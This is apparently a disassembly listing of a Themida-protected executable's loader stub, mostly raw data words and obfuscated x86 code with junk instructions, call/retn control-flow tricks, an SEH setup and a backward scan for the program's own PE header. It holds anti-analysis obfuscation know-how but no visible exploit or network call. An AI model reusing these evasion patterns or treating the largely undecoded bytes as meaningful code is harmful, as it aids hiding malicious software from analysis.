		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A9C35141h
		dd 83AE4A8h, 31BD8B01h,	0FF06120Fh, 1207E5B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 280B7AC8h, 0FFE8B66h, 683h, 0D99D2900h, 0FF061221h
		dd 1229D195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0A25EBC9Ch, 8BBB5662h, 12164DB5h
		dd 6A00B006h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C2E7C357h, 938E40C4h,	8AA06A51h
		dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 5B968DC3h, 56DFFA47h, 0F18B739Eh,	0E905B060h
		dd 10h,	379AB084h, 3BA480A9h, 594BA251h, 3EBAEC1Dh, 8171E461h
		dd 0D777B2EFh
		dd 0F613C5Fh, 21D83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 1D424CA3h, 7961CAC7h
		dd 13E9BD68h, 95000000h, 0D1719CB9h, 0CB16CBCAh, 0A6F98412h
		dd 0DB640941h, 0B60F4AD2h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 855732F8h
		dd 998D29B2h, 89061221h, 1228D98Dh, 6BA06h, 0B5290000h
		dd 6121E99h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8B78B3C3h, 4E8C1F9h, 86BAEE81h
		dd 0F76625A4h, 9B58BE2h, 2B061232h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0B41ECF5Ch
		dd 952960F7h, 61223E9h,	890F53h, 5F000000h, 85895861h
		dd 6122131h, 880FD82Bh,	132h, 33F5BD31h, 0CE90612h, 0E2000000h
		dd 0E0A9D7A8h, 2781B57Bh, 0B93EBBBCh, 7, 1CC59529h, 0C1830612h
		dd 0C9B58900h, 3B06122Dh, 0FF860FD9h, 66000000h, 0CE9D98Ch
		dd 27000000h, 5B589D82h, 12DFD671h, 0F6A6B170h,	840F04C1h
		dd 0AEh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0C7C35343h, 18475945h, 10E9B16Ah, 39000000h, 0E6A9E549h
		dd 0C968F598h, 0F2F51A17h, 0FFC0BFE8h, 120CA995h, 0F7816606h
		dd 6A5BC0C8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C77BC352h, 0BF8D0408h, 3E90AB03h
		dd 12258D89h, 0C32B0612h, 1143CF81h, 343D6951h,	0F000008h
		dd 2D86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8BAE858Bh, 12179DB5h, 38E906h, 0BE660000h
		dd 0C08B5A59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	48C35747h, 0E777B9BEh, 8BEAA558h, 6860F51h, 9000000h
		dd 12004995h, 0C38B5E06h, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 63A8FEC3h, 370EFAB4h
		dd 14F585C7h, 0EF3D0612h, 6A5B27h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9E988C3h, 7E000000h
		dd 0AE007C86h, 0CE15AC5Fh, 2169B529h, 0C08B0612h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F9C35040h, 8BB9BCEDh
		dd 121E85BDh, 0E5BD8106h, 0D0061207h, 0F000007h, 685h
		dd 0E585FF00h, 0FF061207h, 1207E5B5h, 11E806h, 0D3C90000h
		dd 55AD9032h, 0B316436Eh, 0D0494A65h, 89067AE5h, 12266185h
		dd 95FF5E06h, 61229D1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 14C35545h, 0F31BD8Bh,	6A900612h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0F06BC352h, 49A834A2h, 810FC586h, 8,	170AF781h, 5E522B6Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AEC35747h
		dd 6AB45DAEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 8AF1C352h, 7F76BAF4h, 6ACF29h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 780F8CC3h, 0E9F55D09h, 11h, 4A1CDDAFh, 3C18D99Ah, 0D78930CBh
		dd 413D1890h, 830F5276h, 5, 0B3ABA4BEh,	7DB5037Bh, 5E061212h
		dd 885A7DBEh, 0CF81666Fh, 6A803Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0EBCA71C3h, 0BE956C3h
		dd 1E000000h, 755762FDh, 57718A5Ch, 6A5F4FFAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0D288C356h, 0D69A19C9h, 12E681B2h, 0E90152E0h, 0FFFFF82Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F4C35545h
		dd 0B4DE8152h, 5F205D30h, 8B666060h, 0B961FCD1h, 0FFFFFFFEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h
		dd 0AC087F8Fh, 358589h,	95890612h, 6121A71h, 6DBE6650h
		dd 8D215858h, 61230DDh,	29D9BD89h, 8D210612h, 6122349h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F0C35343h
		dd 5DD816C6h, 5BD33CEh,	8B061222h, 1230DD8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B140837h, 340A06B2h, 83FEBF0Fh, 850F01E1h, 2, 8D8BDE8Bh
		dd 6122349h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0B9C35343h, 46431E84h, 0CE800h,	7F5F0000h, 0D099CD58h
		dd 0CDCDC4D5h, 9D0B2E3Ch, 61207F1h, 83D98B5Fh, 850F01E1h
		dd 44h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 0A2C35242h, 31A7A57Fh, 12E8E2h, 3C00000h, 5394F2Bh
		dd 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh, 1C1913BBh,	0B5895F4Bh
		dd 612177Dh, 0FEB96061h, 6AFFFFFFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CBF0C352h
		dd 11DE3FE4h, 15B58BE6h, 2106122Ah, 122ED98Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 21F94E3Fh, 122D698Dh, 0D0EBE06h, 0E1BF5BAAh,	8B6CA963h
		dd 122ED98Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 92327535h, 958B6BB4h, 6122CB1h, 0F01E183h
		dd 2685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 51467290h, 2E70A987h, 8BC2BF0Fh
		dd 122D698Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0DA76AFFFh, 0AC3406D4h, 7918D89h
		dd 0D2810612h, 4685E584h, 0F01E183h, 2385h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0BAE07FF7h, 4856D8D2h, 6A6061h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 822777C3h, 665B589Dh
		dd 0FEB9C18Bh, 0E8FFFFFFh, 6, 0F4259CADh, 0E852684Fh, 0Ah
		dd 0D57F929Fh, 0F81F8289h, 5B5859EBh, 0B1958B5Ah, 21061203h
		dd 1213DD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 21B50593h, 1223ED8Dh, 0BE906h, 0CB850000h
		dd 0ADA61D1Bh, 0A9D0DD9Bh, 0DD8D8B7Bh, 6A061213h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B039C351h, 0F39B039h, 685h,	1FEF8100h, 833B9D45h, 850F01E1h
		dd 25h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
		dd 96C35545h, 3DAB63EDh, 0DD4D1762h, 0ED8D8BE2h, 89061223h
		dd 12325195h, 1E18306h,	0C850Fh, 8C0F0000h, 6, 1FD98503h
		dd 60610612h, 0BE8h, 2EC42000h,	170830E4h, 65A23353h, 0FFFEB95Fh
		dd 0C480FFFFh, 198D2132h, 8906121Eh, 122A4995h,	21FA8B06h
		dd 1214F58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0E966B6BAh, 0E8222E5Ah, 7, 0F62DF557h
		dd 6661939Eh, 0BA32C781h, 198D8B5Bh, 6A06121Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C9FAC357h, 69F7D471h, 2F158D89h, 9D890612h,	6122025h
		dd 0F01E183h, 0B85h, 19BD8B00h,	66061221h, 62A5E081h, 14F58D8Bh
		dd 0FAB70612h, 0F01E183h, 85h, 6A606100h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E6EFC356h
		dd 8B199376h, 120C5585h, 0D1BD3106h, 0C7061200h, 1207E585h
		dd 7D006h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0C06C3596h, 0A223BDE8h, 870F5035h
		dd 0
; ---------------------------------------------------------------------------
		mov	bl, dh
		popa
		push	0
		push	eax
		call	sub_5BE67A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE67A	proc near		; CODE XREF: Themida_:005BE672p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BE67A	endp

; ---------------------------------------------------------------------------
		dec	ebp
		mov	edi, 0B5296C9Fh
		lds	esp, ds:7EB0612h
		popa
		popf
		jmp	$+5
		push	0
		push	edx
		call	sub_5BE6A8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE6A8	proc near		; CODE XREF: Themida_:005BE6A0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5BE6A8	endp

; ---------------------------------------------------------------------------
		jecxz	short near ptr loc_5BE6CB+7
		push	ss
		push	0
		push	ebp
		call	sub_5BE6C6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE6C6	proc near		; CODE XREF: Themida_:005BE6BEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp


loc_5BE6CB:				; CODE XREF: Themida_:005BE6B8j
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BE6C6	endp

; ---------------------------------------------------------------------------
		and	[ecx-1035A284h], ebx
		add	[ebp+6121381h],	esi
		mov	eax, ecx
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+6120F1Dh],	edx
		sub	edx, 14h
		lea	eax, [ebp+6162CB0h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5BE71D:				; CODE XREF: Themida_:005BE73Fj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5BE73A
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5BE744


loc_5BE73A:				; CODE XREF: Themida_:005BE722j
		sub	eax, 1000h
		jmp	loc_5BE71D
; ---------------------------------------------------------------------------


loc_5BE744:				; CODE XREF: Themida_:005BE734j
		mov	ecx, eax
		mov	[ebp+6122461h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6121BA5h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+6121181h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+6122DC1h],	edx
		add	edx, [eax+8]
		mov	[ebp+6120765h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5BE79D
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5BE79D:				; CODE XREF: Themida_:005BE785j
		cmp	dword ptr [ebp+6122EEDh], 0
		jz	loc_5BE7CE
		mov	byte ptr [ebp+61215C1h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6123101h]
		lea	eax, [ebp+615827Ah]
		call	eax
		push	0
		call	eax
		mov	[ebp+612200Dh],	eax


loc_5BE7CE:				; CODE XREF: Themida_:005BE7A4j
		mov	edx, ebx
		pusha
		sub	edi, [ebp+61230B5h]
		mov	eax, eax
		push	0
		push	eax
		call	sub_5BE7E4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE7E4	proc near		; CODE XREF: Themida_:005BE7DCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BE7E4	endp

; ---------------------------------------------------------------------------
		jle	short near ptr loc_5BE858+4
		mov	ecx, 0BD832C35h
		add	[edi], ebp
		adc	al, [esi]
		add	[ebp+9], dh
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5BE824
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614AD09h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BE824:				; CODE XREF: Themida_:005BE809j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5BE844
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614A9F8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BE844:				; CODE XREF: Themida_:005BE82Bj
		or	[ebp+6121829h],	esi
		mov	[ebp+6122BFDh],	ebx
		mov	eax, eax
		mov	ecx, [ebp+6122FC9h]


loc_5BE858:				; CODE XREF: Themida_:005BE7F4j
		call	sub_5BF069
		push	0
		push	eax
		call	sub_5BE868
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE868	proc near		; CODE XREF: Themida_:005BE860p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BE868	endp

; ---------------------------------------------------------------------------
		pop	esp
		push	es
		or	al, 0CCh
		daa
		ror	dword ptr [ecx+5Dh], 8Bh
		mov	ch, 11h
		adc	eax, 85890612h
		inc	ecx
		or	[edx], dl
		push	es
		and	esi, [ebp+6122AE5h]
		call	sub_5BF069
		jmp	loc_5BE8A9
; ---------------------------------------------------------------------------
		dd 387EFEEEh, 640DB737h, 1A8CC25Fh
		db 0DCh
; ---------------------------------------------------------------------------


loc_5BE8A9:				; CODE XREF: Themida_:005BE897j
		mov	[ebp+61225B1h],	eax
		mov	ecx, 5BDDD4D9h
		mov	ecx, [ebp+6122935h]
		call	sub_5BF069
		jge	loc_5BE8C8
		movzx	edi, dx


loc_5BE8C8:				; CODE XREF: Themida_:005BE8BFj
		mov	[ebp+61214C1h],	eax
		and	cx, 0C197h
		and	ch, 46h
		call	sub_5BF069
		push	0
		push	esi
		call	sub_5BE8E6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE8E6	proc near		; CODE XREF: Themida_:005BE8DEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5BE8E6	endp

; ---------------------------------------------------------------------------
		dw 127Ah
		dd 0EE8h, 4FDE7500h, 0E92C5432h, 497C45D0h, 0FB4F842h
		dd 288h, 5E616000h, 29E58589h, 6A0612h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0BB8B4CC3h
		dd 85317B1Fh, 6123451h,	724E8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 21FA2900h
		dd 0DD678920h, 0EB8A15C4h, 0C898589h, 95010612h, 61211E9h
		dd 7C5B531h, 0E6E80612h, 6A000006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4EFFC351h
		dd 7FFAE7B9h, 0C781668Dh, 8589B42Fh, 6122B19h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 68C35747h, 3B177B3h
		dd 0F9CE62AAh, 690E8h, 0BD8B5000h, 6122BFDh, 7E85Eh, 0BF990000h
		dd 5CF5244Bh, 0A99D890Ah, 5906122Ah, 29B18589h,	0BD890612h
		dd 6122FE5h, 664E8h, 0B1B58B00h, 89061221h, 1231C585h
		dd 0F98D0306h, 6606121Dh, 0E8F95CBEh, 649h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h, 0E0493A07h
		dd 0B58960DBh, 6122AEDh, 8D0Fh,	89610000h, 12243185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 85418ACCh, 1969097Ch, 0EAE8B1FAh, 66000005h,	0FBE4DE81h
		dd 2D798589h, 85890612h, 612297Dh, 5D4E8h, 1DBD8B00h, 8906121Dh
		dd 1219B185h, 3850F06h,	66000000h, 8166CF8Bh, 0E8876CD9h
		dd 5B5h, 1D159D89h, 85890612h, 61229A5h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 25C35646h, 0C6F7EBFEh
		dd 6A9772F3h, 580E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 89F583CFh, 1232E585h
		dd 3830F06h, 0F000000h,	4EE8CFBFh, 6A000005h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 973C352h, 0CE952F6h,	16000000h, 0A18A2C1Fh, 0B46EAC22h
		dd 89905287h, 1231F185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 13E9BEh, 2E2F0000h, 61B5DB1Dh
		dd 10D4BCF2h, 2281360Ch, 0A329DCCh, 22D980B8h, 4DCE8h
		dd 1DE18100h, 50420AEBh, 5FC88B66h, 8358589h, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0E63C45C3h, 1BF32575h, 9D2913E5h, 6122961h, 49CE8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 3AA1322Ah, 9E9A3h, 62B10000h, 8325BC3h
		dd 89B69F89h, 1213A185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7D42EC05h, 6A00B0ECh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 313DC351h, 49BD8B18h, 0F506120Bh,	6AD8B60Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 6603C355h, 1042C781h, 6BAh, 4AC58000h, 0F1852960h
		dd 106121Ch, 121969BDh,	0C38B6106h, 201E8BBEh, 4E8C165h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h
		dd 580C3217h, 29E2F766h, 1218ED95h, 7E906h, 1370000h, 861AB07h
		dd 6AD82B6Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 81C2C355h, 8185EC36h, 0D91562D1h
		dd 0EBB9662Ah, 81B15046h, 33241C89h, 121DA98Dh,	0A995FF06h
		dd 6A06120Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0A9CFC352h, 504390C8h,	755EC181h
		dd 0F5B4785h, 185h, 958DFC00h, 6122191h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 0D2C35747h, 7166CED5h
		dd 0F5D3BAFBh, 1A89C1B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0BC35747h, 2719B58Bh,	42890612h, 658D8B04h
		dd 8D061229h, 122D9995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 58671E40h, 0ED76B825h
		dd 0E1CE8143h, 8B65987Ah, 122E95BDh, 6A1A8906h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0A3BCC350h, 4289FB01h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0ADB58B49h
		dd 0E9061215h, 11h, 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 0DF537B6h
		dd 0FD958DAAh, 6A061220h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0D376C357h,	0BE931h
		dd 1ADE0000h, 0F242CBE6h, 7B31DEDFh, 8B1A89B4h,	44289F7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6EC35141h
		dd 958D136Ch, 6121E2Dh,	6A1A89F9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 45E1C357h
		dd 0E8B63BF3h, 6, 0B9D6D36Dh, 0D681A69Fh, 230D1DC6h, 4428959h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 64C35242h
		dd 2DA18D09h, 958D0612h, 612287Dh, 24E98166h, 6A1A89BCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 945AC356h, 6A044289h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0FEEBC357h
		dd 0FAA8AF51h, 0A75C00DAh, 2A05958Dh, 81510612h, 0EA2C06D6h
		dd 1A89592Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	21C35747h, 9908A23Ch, 89F2B70Fh, 0BD2B0442h, 612139Dh
		dd 2829958Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 64D265C3h, 11AD14EAh, 6058619Bh
		dd 1ADDBD89h, 9D310612h, 61232CDh, 6A1A8961h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7092C353h, 9167531h,	122DD1B5h, 4428906h, 13E9h, 0B513A800h
		dd 7713A289h, 0B38D5D11h, 12B2BF0Ah, 517968C5h,	2665958Dh
		dd 89560612h, 1211F595h, 1A895F06h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6DC35747h, 89D57C51h, 121C4995h
		dd 4428906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	73C35646h, 0BD332768h, 61207DDh, 69E9h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 4820F86h, 66000000h,	8BD87BBEh, 1227C5BDh
; ---------------------------------------------------------------------------
		push	es

; =============== S U B	R O U T	I N E =======================================



sub_5BF069	proc near		; CODE XREF: Themida_:loc_5BE858p
					; Themida_:005BE892p ...
		push	0
		push	0
		mov	[ebp+6122711h],	esi
		push	0
		cld
		push	0
		push	0
		push	edx
		call	sub_5BF083
		and	[edx-3Dh], bl
sub_5BF069	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BF083	proc near		; CODE XREF: sub_5BF069+12p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5BF083	endp

; ---------------------------------------------------------------------------
		push	edx
		mov	al, 0F8h
		call	dword ptr [ebp+6122931h]
		mov	di, ax
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+6121B79h]
		mov	al, ch
		jz	$+6
		mov	eax, eax
		mov	ecx, eax
		mov	ecx, [ebp+612161Dh]
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5BF0CA
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5BF0E3


loc_5BF0CA:				; CODE XREF: Themida_:005BF0BFj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+61202B9h],	eax
		lea	ebx, [ebp+614AD70h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BF0E3:				; CODE XREF: Themida_:005BF0C8j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5BF103
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+61202B9h],	eax
		lea	ebx, [ebp+614AA11h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BF103:				; CODE XREF: Themida_:005BF0EAj
		push	0
		push	eax
		call	sub_5BF10E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF10E	proc near		; CODE XREF: Themida_:005BF106p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5BF10E	endp

; ---------------------------------------------------------------------------
		xor	al, 64h
		and	al, 56h
		pusha
		clc
		mov	ecx, edx
		popa
		pop	edi
		add	esi, 3F3FAEF3h
		mov	eax, eax
		lea	eax, [ebp+6120065h]
		push	0
		push	esi
		call	sub_5BF141
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF141	proc near		; CODE XREF: Themida_:005BF139p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5BF141	endp

; ---------------------------------------------------------------------------
		db 48h,	0D4h, 7Ch
		dd 8267384Eh, 0BD03E05Dh, 61216F1h, 0E7BF6690h,	8B665053h
		dd 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9E5AF9C3h, 0D381006Ah, 3884C085h,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 54A742C3h, 8DF8BF0Fh, 1637D985h, 4E78106h, 83015CE3h
		dd 565005C0h, 5FFD8A51h, 2404895Bh, 6AEBD380h, 31BD8B00h
		dd 6A061212h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0EBFC5EAEh, 26A59C2Dh, 0BD89CA77h
		dd 6122E9Dh, 0FFDE8B66h, 120B5595h, 4D8D8906h, 8D061233h
		dd 159BCA8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9D8B94AFh, 6120291h, 1299BD8Bh, 0D1FF0612h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A2C35545h
		dd 29630709h, 121D619Dh, 0E9BD8306h, 106120Eh, 3D850Fh
		dd 0BD8B0000h, 6123085h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 65C956C3h, 9D8BDF78h
		dd 6120F55h, 1E50BF50h,	489411Dh, 0D595FF24h, 0E906122Ch
		dd 0E0Ah, 0E8h,	0ED815D00h, 61637E3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8EC35545h, 8B8318A6h, 120B89BDh
		dd 81F98B06h, 0E1B4CCFh, 8F858D7Bh, 0F061596h, 0C83h, 6850F00h
		dd 9000000h, 12029D95h,	8A609006h, 0DE8C6h, 0A5ED0000h
		dd 0C017FF6Dh, 2F2F05ADh, 5F0D68A9h, 0B7535061h, 6A905F29h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 4083C355h, 215B6897h, 2B04C7B7h, 1231ED9Dh
		dd 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BF363
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF363	proc near		; CODE XREF: Themida_:005BF35Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5BF363	endp

; ---------------------------------------------------------------------------
		push	ebp
		jmp	short loc_5BF37A
; ---------------------------------------------------------------------------
		dw 32C6h
